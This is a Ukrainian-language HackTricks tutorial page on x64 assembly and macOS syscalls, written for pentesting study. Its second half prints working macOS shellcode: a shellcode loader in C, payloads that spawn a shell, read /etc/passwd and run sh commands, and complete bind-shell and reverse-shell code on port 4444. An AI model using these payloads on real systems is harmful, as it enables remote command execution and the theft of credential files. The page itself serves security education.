HackTricks
Вступ до x64
Reading time: 11 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Вступ до x64
x64, також відомий як x86-64, є 64-бітною архітектурою процесора, що переважно використовується в настільних і серверних обчисленнях. Виникнувши з архітектури x86, виробленої Intel, і пізніше прийнятої AMD під назвою AMD64, це поширена архітектура в персональних комп'ютерах і серверах сьогодні.
Реєстри
x64 розширює архітектуру x86, маючи 16 загальних реєстрів, позначених rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, а також r8 до r15. Кожен з цих реєстрів може зберігати 64-бітне (8-байтове) значення. Ці реєстри також мають 32-бітні, 16-бітні та 8-бітні підреєстри для сумісності та специфічних завдань.
rax- Традиційно використовується для значень повернення з функцій.rbx- Часто використовується як базовий реєстр для операцій з пам'яттю.rcx- Зазвичай використовується для лічильників циклів.rdx- Використовується в різних ролях, включаючи розширені арифметичні операції.rbp- Базовий вказівник для стекового фрейму.rsp- Вказівник стеку, що відстежує верхню частину стеку.rsiтаrdi- Використовуються для індексів джерела та призначення в операціях зі строками/пам'яттю.r8доr15- Додаткові загальні реєстри, введені в x64.
Конвенція виклику
Конвенція виклику x64 варіюється між операційними системами. Наприклад:
- Windows: Перші чотири параметри передаються в реєстрах
rcx,rdx,r8таr9. Подальші параметри поміщаються в стек. Значення повернення знаходиться вrax. - System V (зазвичай використовується в UNIX-подібних системах): Перші шість цілочисельних або вказівникових параметрів передаються в реєстрах
rdi,rsi,rdx,rcx,r8таr9. Значення повернення також знаходиться вrax.
Якщо функція має більше ніж шість вхідних параметрів, інші передаються через стек. RSP, вказівник стеку, повинен бути вирівняний на 16 байт, що означає, що адреса, на яку він вказує, повинна ділитися на 16 перед будь-яким викликом. Це означає, що зазвичай нам потрібно забезпечити правильне вирівнювання RSP у нашому shellcode перед викликом функції. Однак на практиці системні виклики працюють багато разів, навіть якщо ця вимога не виконується.
Конвенція виклику в Swift
Swift має свою власну конвенцію виклику, яку можна знайти в https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64
Загальні інструкції
Інструкції x64 мають багатий набір, зберігаючи сумісність з попередніми інструкціями x86 і вводячи нові.
mov: Перемістити значення з одного реєстру або місця в пам'яті в інше.- Приклад:
mov rax, rbx— Переміщує значення зrbxвrax. pushіpop: Помістити або витягти значення з стеку.- Приклад:
push rax— Поміщає значення вraxна стек. - Приклад:
pop rax— Витягує верхнє значення зі стеку вrax. addіsub: Операції додавання та віднімання.- Приклад:
add rax, rcx— Додає значення вraxіrcx, зберігаючи результат вrax. mulіdiv: Операції множення та ділення. Примітка: ці інструкції мають специфічну поведінку щодо використання операндів.callіret: Використовуються для виклику та повернення з функцій.int: Використовується для виклику програмного переривання. Наприклад,int 0x80використовувався для системних викликів у 32-бітному x86 Linux.cmp: Порівняти два значення та встановити прапори ЦП на основі результату.- Приклад:
cmp rax, rdx— Порівнюєraxзrdx. je,jne,jl,jge, ...: Умовні стрибки, які змінюють потік управління на основі результатів попередньогоcmpабо тесту.- Приклад: Після інструкції
cmp rax, rdx,je label— Стрибає доlabel, якщоraxдорівнюєrdx. syscall: Використовується для системних викликів в деяких системах x64 (наприклад, в сучасних Unix).sysenter: Оптимізована інструкція системного виклику на деяких платформах.
Прокол функції
- Помістіть старий базовий вказівник:
push rbp(зберігає базовий вказівник виклику) - Перемістіть поточний вказівник стеку до базового вказівника:
mov rbp, rsp(налаштовує новий базовий вказівник для поточної функції) - Виділіть місце в стеку для локальних змінних:
sub rsp, <size>(де<size>— це кількість байтів, що потрібні)
Епілог функції
- Перемістіть поточний базовий вказівник до вказівника стеку:
mov rsp, rbp(деалокація локальних змінних) - Витягніть старий базовий вказівник зі стеку:
pop rbp(відновлює базовий вказівник виклику) - Повернення:
ret(повертає управління виклику)
macOS
syscalls
Існують різні класи системних викликів, ви можете знайти їх тут:
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
Тоді ви можете знайти кожен номер системного виклику в цьому URL:
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
Отже, щоб викликати системний виклик open (5) з Unix/BSD класу, вам потрібно додати: 0x2000000
Отже, номер системного виклику для виклику open буде 0x2000005
Shellcodes
Щоб скомпілювати:
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
Щоб витягти байти:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
C код для тестування shellcode
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Взято з тут та пояснено.
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
Читати за допомогою cat
Мета полягає в виконанні execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
Виклик команди з sh
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
Bind shell
Bind shell з https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html на порт 4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
Зворотний шелл
Зворотний шелл з https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Зворотний шелл до 127.0.0.1:4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.